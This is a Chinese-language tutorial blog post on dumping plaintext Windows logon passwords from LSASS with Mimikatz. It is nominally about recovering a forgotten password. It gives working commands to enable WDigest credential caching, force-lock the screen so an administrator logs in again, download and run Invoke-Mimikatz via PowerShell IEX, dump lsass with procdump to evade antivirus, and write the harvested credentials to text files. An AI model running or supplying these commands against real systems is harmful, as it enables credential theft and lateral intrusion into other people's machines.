windows获取明文密码

windows获取明文密码的方法

有时候远程登陆工具把密码记住后过段时间自己不知道密码了,但能正常登陆操作系统,如何把密码找回来,方法这里一次说明白了。

主要使用工具: Mimikatz 获取

Mimikatz 是法国人 benjamin 开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取 WindowsXP-2012(2016 做了安全防护,需要修改注册表值,重启后生效,可以获取明文密码)等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具,从早期 1.0 版本到现在的 2.1.1 20180205 版本,其功能得到了很大的提升和扩展。

Mimikatz 最新版本一共三个文件(mimilib.dll、mimikatz.exe、mimidrv.sys),分为 Win32 位(多了一个 mimilove.exe 文件)和 X64 位。通过它们可以提升进程权限、注入进程读取进程内存,可以直接从 Lsass 中获取当前登录过系统用户的账号明文密码。Lsass 是微软 Windows 系统的安全机制它主要用于本地安全和登录策略,通常我们在登录系统时输入密码之后,密码便会储存在 lsass 内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中,而 Mimikatz 正是通过对 Lsass 的逆算获取到明文密码!

QQ群:397745473

注意

关于 KB2871997:

KB2871997 之前, Mimikatz 可以直接抓取明文密码。

当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内存(lsass进程)不再保存明文口令。Mimikatz 将读不到密码明文。
但由于一些系统服务需要用到 Wdigest Auth,所以该选项是可以手动开启的。

(开启后,需要用户重新登录才能生效)

以下是支持的系统:

  • Windows 7
  • Windows 8
  • Windows 8.1
  • Windows Server 2008
  • Windows Server 2012
  • Windows Server 2012R 2

工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
主要工具:
mimikatz: https://github.com/gentilkiwi/mimikatz/releases/
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

在线解密:
https://www.cmd5.com/
https://www.objectif-securite.ch/ophcrack

参考文章:
https://jayl1n.github.io/2019/03/29/pentest-getpassword/
https://blog.csdn.net/Adminxe/article/details/105918362
https://mp.weixin.qq.com/s/6mwms9LtLE6cK0ukpoSMmg

Mimikatz用法参考:
https://gitbook.cn/gitchat/column/5afbf24f753289354cab7983/topic/5afbf818753289354cab7e3c

开启转储方法

采用把lsass 转储的方式获取

否则不能显示密码

1
参考:https://jayl1n.github.io/2019/03/29/pentest-getpassword/

开启(任选一种执行后重启)

  • cmd

    1
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  • powershell

    1
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
  • meterpreter

    1
    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1

让注册表修改后马上生效方法: 如果不行可以注消或者重启

1
2
3
4
@echo off
taskkill /im explorer.exe /f
ping -n 2 127.0.0.1 > nul
start c:\windows\explorer.exe

关闭(任选一种执行后重启)

  • cmd

    1
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
  • powershell

    1
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
  • meterpreter

    1
    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 0

强制锁屏

在开启 Wdigest Auth 后,需要管理员重新登录才能逮到明文密码。

我们可以强制锁屏,让管理员重新登录。

  • cmd

    1
    rundll32 user32.dll,LockWorkStation
  • powershell

    1
    powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1');"

经测试 Win10企业版 仅锁屏读明文失败,需要注销才行,其它版本未知。

抓取明文

开启 Wdigest Auth 后,接下来就用常规的抓取明文的方式就行了。

Mimikatz

  1. powershell

    1
    IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz
  2. exe

    1
    2
    privilege::debug
    sekurlsa::logonpasswords

离线抓取

Mimikatz 被杀,可以先将 lsass 进程 dump 下来,在本地用 Mimikatz 读取。

  1. Dump 进程

    可以用微软提供的 procdump ,自带微软签名,可以过杀软。

    1
    procdump64.exe -accepteula -ma lsass.exe lsass.dmp

    或者

    直接打开任务管理器–>详细信息–>选中lsass.exe进程–>右键–>创建转储文件

  1. Mimikatz 读取

    1
    2
    3
    4
    5
    6
    7
    8
    sekurlsa::minidump lsass.dmp
    sekurlsa::logonPasswords full

    mimikatz直接输出到文本:
    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" >pass.txt

    mimikatz直接读取密码:
    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt

QQ群:397745473

知识星球